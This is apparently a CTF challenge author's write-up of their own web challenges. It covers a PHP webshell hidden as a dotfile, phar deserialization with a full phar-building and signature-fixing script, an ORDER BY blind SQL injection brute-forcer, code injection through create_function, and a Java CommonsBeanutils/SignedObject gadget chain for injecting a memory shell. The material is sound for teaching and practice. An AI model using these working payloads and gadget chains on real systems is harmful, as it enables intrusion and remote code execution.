记录一下自己出的题

rm -rf *

Linux下rm -rf *不会删除隐藏文件,所以写入隐藏文件.1.php就可以了 所以直接写马,由于知道flag在根目录下,直接执行命令也行,接着访问http://example.com/.1.php就行了 <?php system("cat /flag");?>

sql-ser

sql注入加phar反序列化

有一个读取文件的路由,读完之后发现是个反序列化题,但是没有unserialize,有上传图片功能.(看到这里大概就知道是个phar反序列化了)

读取文件路由的file_get_contents限制了html目录,再加上严格的过滤,是不可能直接读取/flag,或者phar://协议读取文件的.

另外几个可以触发的点在upload.php里的file_exists,imgstatic.php里的md5_file,上传文件的文件名是有过滤的,也不能phar://

那么利用点就在md5_file,访问403,但是被include,倒是问题不大,过滤也不严格,直接phar://phar.jpg就可以读取

所以思路是:

sql注入获得admin密码获得admin身份=>
构造恶意的phar文件并上传=>
phar://phar.jpg=>getshell

然后链子很简单,但是有个小技巧,利用内置类Exception,同时修改hex数据里的数组指针,置空触发gc提前回收

注意一下php配置里是否开启了phar文件的生成

<?php
class Spirit {
    public $webdog;
    public $dogweb;
    public $webweb;
    public function something(){
        echo "出题人讨厌php反序列化,所以他不打算让你构造复杂的链子";
    }
    function __wakeup(){
        $webweb ="I_DONT_KNOW_HOW_TO_BYPASS_WAKEUP";
    }
}

class Flag{
    public $cmd;
    public $spirit;
    
    public function WAF(){
        echo "出题人讨厌WAF,所以他不打算给你WAF";
    }
    
    function __construct($cmd){
        $this->cmd = $cmd;
    }
    // function __destruct(){
    
    //     if( ($this->spirit->webdog != $this->spirit->dogweb)&&(md5($this->spirit->webdog) === md5($this->spirit->dogweb)) && (sha1($this->spirit->webdog) === sha1($this->spirit->dogweb))){
    //         system($this->cmd);
    //     }
    // }
}
$a[] = new Flag('cat /flag');
$a[] = 1;
$a[0]->spirit = new Spirit();
$a[0]->spirit->webdog = new Exception("a",1);$a[0]->spirit->dogweb = new Exception("a");
//这里要在同一行,大家可以自行试试
var_dump($a);
echo serialize($a);
$phar= new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php__HALT_COMPILER();?'>");//添加图片头,有检测
$phar->setMetadata($a);//将自定义meat-data存入manifest
$phar->addFromString("test.txt","111");//添加要压缩的文件,这里随意了
$phar->stopBuffering();

?>

from hashlib import sha256
with open("/Users/dionysus/CTF/phar.phar",'rb') as f:
   text=f.read();
   main=text[:-28]        #正文部分(除去最后28字节)
   end=text[-8:]
   new_sign=sha256(main).digest()
   new_phar=main+new_sign+end
   open("/Users/dionysus/CTF/phar.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

最后修复签名,修改后缀上传

getshell的逻辑部分讲完了,现在来讲讲前置sql注入,需要sql注入之后才能通过admin身份上传恶意的文件

import requests
import string
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
#其实只有小写字母和数字
url="http://127.0.0.1:9999/login.php"

k=""
for i in range(1,50):
	#print(i)
	for j in s:
		data={
		'username1':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
		'pwd1':'1'
	}
		r=requests.post(url,data=data)
		#print(r.text)
		#print(data['username'])
        
		if("admin" in r.text):
			k=k+chr(ord(j)-1)
			print(k)
			break

就是个order by盲注 要注意的是不要创建账号,因为邪恶的出题人设置了某个密码zxxxxx,注册的密码如果在z之前,那么就永远不能靠order by盲注来得到密码了

hidden

php <= 7.4.21 源码泄露漏洞

就是php -S启动的服务,存在源码泄露问题

1.js那个位置,随便写啦,但是不能是真实存在的文件,比如服务器上真的有的index.php

把自动补齐长度给关了,发包后得到源码

create_function('$name','echo "dionysus"');
  
  
function f($name) {
  echo "dionysus";
}

在a处注入 ){}system("ls");/* 然后对他进行对应的编码post传数据就是了 如果是在b处注入的话就是}system("ls");/*

cb_java

signedobject打二次反序列化,由于不出网吗,需要反序列化注入内存马

前面的随机数预测什么的就不说了,直接到反序列化部分

首先是禁用类,cc依赖的都被ban了,TemplatesImpl也被ban,resolveClass通过 URLClassLoader.loadClass 进行加载类,这种类加载方式不支持加载数组,那么就打二次反序列化=>here

反正也没什么人看( 直接把答案贴了


package zip.dionysus;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;


public class Test {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("2");
        setFieldValue(beanComparator, "property", string);
        setFieldValue(priorityQueue, "queue", new Object[]{object, null});
        return priorityQueue;
    }

    public static Object getpayload2() throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        return queue;
    }

    @org.junit.jupiter.api.Test
    public void test1() throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        PriorityQueue queue1 = getpayload(obj, "outputProperties");
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
        PriorityQueue queue2 = getpayload(signedObject, "object");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);

//按顺序写入
        outputStream.writeUTF("I_LIJd_NANAMI");
        outputStream.writeInt(2023);
        outputStream.writeObject(queue2);
        outputStream.flush();

        String codes = URLEncoder.encode(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()),"UTF-8");
        System.out.println(codes);
        String hexcodes =bytesTohexString(byteArrayOutputStream.toByteArray());
        System.out.println(hexcodes);
    }

    @org.junit.jupiter.api.Test
    public void test2()throws Exception{
        byte[] bytes = ClassPool.getDefault().get(EvilController.class.getName()).toBytecode();
        System.out.println(Arrays.toString(bytes).replace('[', '{').replace(']', '}'));
    }
    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
        
}

内存马部分自己塞一份吧

最后getshell,flag在环境变量里